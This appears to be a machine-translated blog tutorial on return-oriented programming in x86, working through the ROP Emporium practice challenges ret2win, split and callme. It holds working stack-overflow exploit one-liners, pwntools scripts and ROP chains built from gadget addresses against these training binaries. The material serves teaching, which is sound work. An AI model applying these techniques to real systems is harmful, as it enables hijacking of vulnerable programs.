Memory attack technology ROP in x86 architecture (1)

1 Introduction to ROP

Return-oriented programming (Return-Oriented Programming, ROP) is an advanced memory attack technology, mainly to bypass the operating system's defense means NX. This technology often uses some existing vulnerabilities, especially buffer overflows. Attackers control stack calls to hijack program control flow and execute targeted machine language instruction sequences (gadgets). These gadget combinations can successfully execute our own logic.

We modify the return address to point to the instruction we want to point to. If this instruction ends with ret, then sp + 4, at this time, the next space in the original return address in the stack becomes the return address ( retinstruction Equivalent to pop eip; esp = esp + 4), we can repeat this process non-stop, provided that each instruction to be pointed to ends with ret. (Ret execution will make sp + 4), so that gadgets can be executed continuously.

Insert picture description here
There are many types of gadgets, so I wo n’t list them one by one. Let ’s take a practical case to analyze how to construct a ROP chain to achieve the effect of vulnerability exploitation. The following provides an example using the title provided by ROP Emporium. If before this, you can have a good understanding of the stack, function calls, and pass parameters, it is best. If you are confused in the subject, I believe that the article I wrote before can help: understanding the ebp & esp register, function call process, function parameter transfer, and stack balance from an assembly perspective

2 ROP Emporium

ROP Emporium provides 7 binary files with increasing difficulty, and is divided into 32-bit and 64-bit. The loopholes of these programs are the same, they are all a simple stack overflow, and the safe compilation options of all files are also the same

Insert picture description here
Since the safe compilation option that the stack is not executable has been turned on, we have no way to execute our payload by writing the shellcode and directly pointing the return address to the shellcode. The most direct method is ROP, and let the return address point to the assembly instruction originally contained in the program. Although all are stack overflows, these 7 binaries contain different gadgets that can be used, and the difficulty is also from shallow to deep

Vulnerability

In the function pwnme, a variable is allocated. This variable is 0x28 = 40 bytes from the bottom of the stack, and the string entered by the user is stored in this variable. Therefore, once the user input exceeds 40 bytes, a stack overflow will occur.
Insert picture description here
If you feel abstract, from the IDA decompiled code, you can further see the logic of the
Insert picture description here
program. The loopholes of each program are found. In each program, what are the binary code fragments that can be used, that is, what we call gadget, string them together, you can achieve unexpected results.

2.1.1 ret2win32

By shift + F12, the way to find a keyword, combined with citations code, it is easy to find ret2win()the function, the code that you want to perform

Insert picture description here
ret2win() The disassembly code is as follows, which is also quite simple

Insert picture description here
Therefore, the return address points 0x08048659, 0x08048672can achieve the desired effect

# 以下两条命令均可
python -c "print 'a'*44 + '\x59\x86\x04\x08'" | ./ret2win32
python -c "print 'a'*44 + '\x72\x86\x04\x08'" | ./ret2win32
# 使用 pwntools 脚本也是可以的,只不过这里比较简单,没必要还写个 python

operation result

Insert picture description here

2.1.2 ret2win

64-bit programs are different from 32-bit programs, which use registers to pass parameters instead of finding the parameters on the stack through ebp. Of course, there is no real impact on this question. But in ret2win, the offset of local variables that can overflow is different from 32-bit

Insert picture description here
The distance between the variable entered by the user here and rbp is 0x20 = 32 bytes , so when writing the exploit code, you need to fill in 32 + 8 bytes of useless data (the principles of other exploits and the available gadgets and 32 bits Consistent)

python -c "print 'a'*40 + '\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
python -c "print 'a'*40 + '\x24\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win

operation result

Insert picture description here

2.2.1 split32

The difference with ret2win32 is that this time there is no one-step execution code. Our idea is to let the return address point to 0x08048657, but at the same time specify the parameters for the system function. 0x0804A030Stored the parameters we want.

# data
.data:0804A030                 public usefulString
.data:0804A030 usefulString    db '/bin/cat flag.txt',0
# usefulFunction
.text:08048652                 push    offset command  ; "/bin/ls"
.text:08048657                 call    _system

method one

Direct operation call _systemcommand, immediately followed keep parameters, which does not require a stack balanced. System as when calling the subroutine, the stack space of the case, details, reference may be appreciated ebp & esp register, a function call, the function parameters are passed from the assembly and the angle of the stack balance

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048657 ——-—>  上一个函数执行 ret, sp + 4
|----------------|	 下一个函数执行 call, sp - 4,返回地址又压入原来的栈空间
|system 参数      push ebp,ebp 又放到原来的位置,system 通过 ebp + 8 找到参数,还在此位置
|----------------|

Because the 32-bit program finds the formal parameter according to the offset of ebp, and here, the direct call call _system, ebp relative to the previous function ebp position has not changed, so the parameter position has not changed. The exploit code is as follows

# python -c "print 'a'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split32 
split by ROP Emporium
32bits

Contriving a reason to ask user for data...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault

Method Two

Find the location of the system's plt , the return address directly overflows to that address, and then pass in the parameters, but in this case, you need to balance the stack, why? This still has to analyze the stack changes during the function call.

This is the system entry in plt

.plt:08048430 ; int system(const char *command)
.plt:08048430 _system         proc near               ; CODE XREF: usefulFunction+E↓p
.plt:08048430
.plt:08048430 command         = dword ptr  4
.plt:08048430
.plt:08048430                 jmp     ds:off_804A018
.plt:08048430 _system         endp

If the return address of the overflow is directly changed to the corresponding sytem in plt, the stack space is as follows

|----------------|
|ebp:aaaa    
|----------------|
|返回地址:0x08048430 ——-—>  上一个函数执行 ret, sp + 4
|----------------|			xxx这一步不执行 - 不执行 call 指令,sp 也不会归位
|null   					system 中的 push ebp,此时 ebp 会跑到栈中 返回地址 的位置
|---------------|
|system 参数					ebp + 8 找到的参数位置

Therefore, after returning the address, another 4 bytes need to be filled to keep up with the parameters

python -c "print 'a'*44 + '\x30\x84\x04\x08' + 'a'*4 + '\x30\xa0\x04\x08'" | ./split32

operation result

Insert picture description here

2.2.2 split

64-bit programs use registers to pass parameters. The first parameter is stored in the rdi register. At this time, tools are needed to find specific assembly code.

ROPgadget Is an excellent gadget search tool, usage is as follows

$ ROPgadget --binary split --only 'pop|ret' | grep rdi
0x0000000000400883 : pop rdi ; ret

Or use gdb plug-in pedathat comes with ROPsearchthe command

gdb-peda$ ROPsearch "pop rdi; ret"
Searching for ROP gadget: 'pop rdi; ret' in: binary ranges
0x00400883 : (b'5fc3')	pop rdi; ret

The constructed stack is as follows

|----------------|
|rbp:aaaa aaaa    
|----------------|		
|返回地址:0x400883		ret		 # sp - 8	sp 指向 下一行
|----------------|		pop rdi  # sp - 8	将这一行的参数放进 rdi 寄存器中,参数构造成功
|system 参数 flag		ret		 # sp - 8
|----------------|
|要执行的函数地址,由于 64 位程序中,寻找参数不依赖堆栈,依靠寄存器,所以不需要平衡堆栈

Exploit

# 同样的道理,既可以直接执行 call _system,也可以执行 plt 中的 _system,不过都不需要平衡堆栈了
python -c "print'a'*40 + '\x83\x08\x40\x00\x00\x00\x00\x00' + '\x60\x10\x60\x00\x00\x00\x00\x00' + '\x10\x08\x40\x00\x00\x00\x00\x00'" | ./split

operation result

Insert picture description here

2.3.1 callme32

Starting from this question, it is a bit more difficult, mainly because the logic level of the code becomes more complicated. The first two questions belong to ret2textthis question. This question introduces the library file written by myself. The ROP chain may use the binary instructions in the .so file, so we call itret2lib

Insert picture description here
Function usefulFunctionuses three functions _callme_one two three, and these three functions are external symbols. Use readelf or objdump to view the dependencies required by the binary file

root@kali:~/Documents/ROPEmpurium/callme32# readelf -dl callme32 | grep NEEDED
# objdump -p callme32 | grep NEEDED
 0x00000001 (NEEDED)                     Shared library: [libcallme32.so]
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]

These three functions are non-standard library functions, it is inevitable in the libcallme32.sofile. Use IDA disassembly to see the role of the three functions

callme_one Read encrypted flag content

Insert picture description here
callme_twoCycle or will, decryption, and there is a global variable g_bufin

Insert picture description here
callme_three Loop or continue to decrypt and print the result

Insert picture description here
Therefore, the final ROP chain should run three functions in sequence, but each function must pass in three parameters of 1, 2, and 3, so that the function can go to the correct branch and print the flag. Here and not directly run usefulFunctionthe function, you can only find a place in the three functions of plt. Note that we have stated in split32 that the stack needs to be balanced. Need to put three parameters, corresponding, but also requires three popinstructions to balance, on the balanced stack section have said

root@kali:~/Documents/ROPEmpurium/callme32# ROPgadget --binary callme32 --only 'pop|ret'
Gadgets information
============================================================
0x080488ab : pop ebp ; ret
0x080488a8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048579 : pop ebx ; ret
0x080488aa : pop edi ; pop ebp ; ret
0x080488a9 : pop esi ; pop edi ; pop ebp ; ret
0x08048562 : ret
0x080486be : ret 0xeac1

Unique gadgets found: 7

0x080488a9 To meet our needs, therefore, the final utilization code is as follows

from pwn import *

sh = process("./callme32")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt = 0x080485C0
two_plt = 0x08048620
three_plt = 0x080485B0
pop_ret_gadget = 0x080488a9
args = p32(0x01) + p32(0x02) + p32(0x03)

payload = "a"*44
payload += p32(one_plt) + p32(pop_ret_gadget) + args
payload += p32(two_plt) + p32(pop_ret_gadget) + args
payload += p32(three_plt) + p32(pop_ret_gadget) + args

sh.sendline(payload)
sh.recv()

operation result

Insert picture description here

2.3.2 callme

64-bit programs use registers to pass parameters (the first two or three parameters correspond to rdi rsi rdx), rather than the stack, which was already mentioned in the previous section. If you do not know too much about mass participation, Welcome to understand ebp & esp register, a function call, the function parameter passing and stack balance from the assembly point of view . Here too, we need to find pop rdi, pop rsi, pop rdx, so that we can pass parameters

# ROPgadget --binary callme --only 'pop|ret' | grep rdi
0x0000000000401ab0 : pop rdi ; pop rsi ; pop rdx ; ret
0x0000000000401b23 : pop rdi ; ret

This stack needs to be carefully constructed and is different from 32-bit programs

from pwn import *

sh = process("./callme")
context(log_level="debug", os="linux")
sh.recvuntil("> ")

one_plt_addr = 0x0000000000401850
two_plt_addr = 0x0000000000401870
three_plt_addr = 0x0000000000401810
pop_args_gadget = 0x0000000000401ab0

args = p64(0x01) + p64(0x02) + p64(0x03)

payload = "a" * 40
payload += p64(pop_args_gadget) + args + p64(one_plt_addr)
payload += p64(pop_args_gadget) + args + p64(two_plt_addr)
payload += p64(pop_args_gadget) + args + p64(three_plt_addr)

sh.sendline(payload)
sh.recv()

operation result

Insert picture description here

3 Summary

In several practical cases, we analyzed how to use the ROP chain to achieve the purpose of controlling program flow. In this loophole, ret2win and split belong to ret2text, and the return address points to a piece of code in this program; callme belongs to ret2lib, or ret2plt(this name is not common), the return address points to a function in the libc library. If you insist on understanding these questions, then the subsequent problems will not be a problem.

Published 52 original articles · Like 30 · Visits 50,000+

Guess you like

Origin blog.csdn.net/song_lee/article/details/105285418